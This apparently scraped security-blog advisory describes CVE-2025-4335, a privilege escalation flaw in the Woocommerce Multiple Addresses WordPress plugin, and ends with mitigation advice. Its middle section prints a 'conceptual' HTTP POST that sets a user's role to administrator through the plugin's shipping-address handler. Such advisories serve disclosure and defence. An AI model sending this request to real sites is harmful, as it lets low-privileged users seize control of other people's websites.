Overview<\/strong><\/p>\n

The focus of this blog post is the recently identified vulnerability, CVE-2025-4335, that plagues the Woocommerce Multiple Addresses plugin for WordPress. This flaw can lead to privilege escalation, allowing attackers to gain unauthorized access to higher levels of the system. The vulnerability specifically affects all versions of the plugin<\/a> up to and including 1.0.7.1. Given the widespread use of WordPress and the popularity of Woocommerce plugins, this vulnerability presents a significant risk to website owners and their users, potentially leading to system compromise or data<\/a> leakage.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-4335
\nSeverity: High (CVSS 8.8)
\nAttack Vector: Network
\nPrivileges Required: Low (Subscriber-level Access<\/a>)
\nUser Interaction: Required
\nImpact: System compromise and potential<\/a> data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Woocommerce Multiple Addresses Plugin for WordPress<\/a> | All versions up to and including 1.0.7.1<\/p>\n

How the Exploit Works<\/strong><\/p>\n

This exploit hinges on the insufficient restrictions placed on user meta that can be updated through the save_multiple_shipping_addresses() function in the Woocommerce Multiple<\/a> Addresses plugin. As a result, an authenticated attacker with Subscriber-level access or above can manipulate these meta to elevate their privileges<\/a> to administrator level. This exploit does require user interaction, as the attacker must be authenticated and must actively manipulate the user meta<\/a>.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how an attacker might exploit<\/a> this vulnerability:<\/p>\n

POST \/wp-admin\/admin-ajax.php?action=woocommerce_save_multiple_shipping_addresses HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{\n\"user_id\": \"target_user_id\",\n\"shipping_addresses\": [\n{\n\"first_name\": \"Attacker\",\n\"last_name\": \"Attacker\",\n\"company\": \"\",\n\"address_1\": \"123 Malicious St\",\n\"address_2\": \"\",\n\"city\": \"Malicious\",\n\"state\": \"MS\",\n\"postcode\": \"12345\",\n\"country\": \"US\",\n\"role\": \"administrator\"\n}\n]\n}<\/code><\/pre>\n
In this example, the attacker is attempting to change their role from a subscriber to an administrator through the save_multiple_shipping_addresses() function.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the interim, using a Web Application Firewall<\/a> (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating and patching software is crucial in any cybersecurity<\/a> strategy, and this vulnerability underscores its importance.<\/p>\n","protected":false},"excerpt":{"rendered":"
